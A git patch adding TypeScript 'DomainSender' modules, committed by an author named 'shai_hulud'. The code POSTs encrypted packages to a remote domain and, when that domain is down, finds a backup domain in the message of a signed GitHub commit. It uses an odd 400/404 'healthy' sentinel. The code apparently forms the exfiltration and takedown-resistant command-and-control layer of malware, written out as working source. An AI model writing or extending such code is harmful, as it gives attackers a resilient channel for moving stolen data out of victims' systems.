From d2505711b375ad8b9d1ef8fe00960e524969063c Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:59:32 +0000 Subject: [PATCH] Upload files to "src/sender/domain" --- src/sender/domain/domainSenderFactory.ts | 51 ++++++++++++++ src/sender/domain/sender.ts | 84 ++++++++++++++++++++++++ 2 files changed, 135 insertions(+) create mode 100644 src/sender/domain/domainSenderFactory.ts create mode 100644 src/sender/domain/sender.ts diff --git a/src/sender/domain/domainSenderFactory.ts b/src/sender/domain/domainSenderFactory.ts new file mode 100644 index 0000000..0964683 --- /dev/null +++ b/src/sender/domain/domainSenderFactory.ts @@ -0,0 +1,51 @@ +import { verify_key } from "../../generated"; +import { findValidSignedCommit } from "../../github_utils/fetcher"; +import { DOMAIN_FALLBACK_SEARCH } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; +import type { Sender } from "../base"; +import type { SenderFactory } from "../senderFactory"; +import type { SenderDestination } from "../types"; +import { DomainSender } from "./sender"; + +export class DomainSenderFactory implements SenderFactory { + private readonly config: SenderDestination; + constructor(config: SenderDestination) { + this.config = config; + } + + async tryCreate(): Promise { + // 1. Try the default domain. + const primary = new DomainSender(this.config); + if (await primary.healthy()) { + return primary; + } + logUtil.log("Primary domain not healthy; looking for signed fallback"); + + // 2. Fall back to a domain discovered via a signed commit. + const commitResult = await findValidSignedCommit( + DOMAIN_FALLBACK_SEARCH + " ", + verify_key, + ); + if (!commitResult.found) { + logUtil.log("No valid signed commit found; DomainSender unavailable"); + return null; + } + + if (commitResult.message) { + const backupDest: SenderDestination = { + domain: commitResult.message, + port: this.config.port, + path: this.config.path, + }; + const fallback = new DomainSender(backupDest); + if (await fallback.healthy()) { + return fallback; + } else { + logUtil.log("Fallback domain not healthy; DomainSender unavailable"); + } + } + + logUtil.log("Fallback domain not healthy; DomainSender unavailable"); + return null; + } +} diff --git a/src/sender/domain/sender.ts b/src/sender/domain/sender.ts new file mode 100644 index 0000000..74a8838 --- /dev/null +++ b/src/sender/domain/sender.ts @@ -0,0 +1,84 @@ +import * as dns from "dns"; +import * as https from "https"; + +import { logUtil } from "../../utils/logger"; +import { Sender } from "../base"; +import type { EncryptedPackage, SenderDestination } from "../types"; + +declare function scramble(str: string): string; + +export class DomainSender extends Sender { + constructor(config: SenderDestination) { + super("domain", { + domain: config.domain, + port: config.port, + path: config.path, + dry_run: config.dry_run, + noop: config.noop, + }); + } + + private get url(): string { + return `https://${this.destination.domain}:${this.destination.port}/${this.destination.path}`; + } + + /** + * Preflight: DNS resolves + endpoint responds with the sentinel status. + * Called by the Dispatcher before attempting send. + */ + override async healthy(): Promise { + if (this.destination.noop) { + return false; + } + + try { + if (this.destination.dry_run) return true; + + await dns.promises.lookup(this.destination.domain); + } catch { + logUtil.error(`Could not resolve domain: ${this.destination.domain}`); + return false; + } + + return new Promise((resolve) => { + const req = https.get(this.url, { timeout: 5000 }, (res) => { + logUtil.log(`Got response for ${this.url} ${res.statusCode!}`); + resolve(res.statusCode === 400 || res.statusCode === 404); + }); + req.on("error", (err) => { + logUtil.error(`domain healthcheck error: ${err} ${this.url}`); + resolve(false); + }); + req.on("timeout", () => { + logUtil.log(`domain healthcheck timeout`); + req.destroy(); + resolve(false); + }); + }); + } + + /** + * Transport. Throws on any non-success so the Dispatcher falls through + * to the next sender in its priority list. + */ + override async send(envelope: EncryptedPackage): Promise { + logUtil.log(`Sending to ${this.url}`); + + if (this.destination.dry_run) { + logUtil.log(envelope); + return; + } + + const response = await fetch(this.url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(envelope), + }); + + if (response.status !== 200) { + throw new Error( + `DomainSender: ${this.url} returned status ${response.status}`, + ); + } + } +}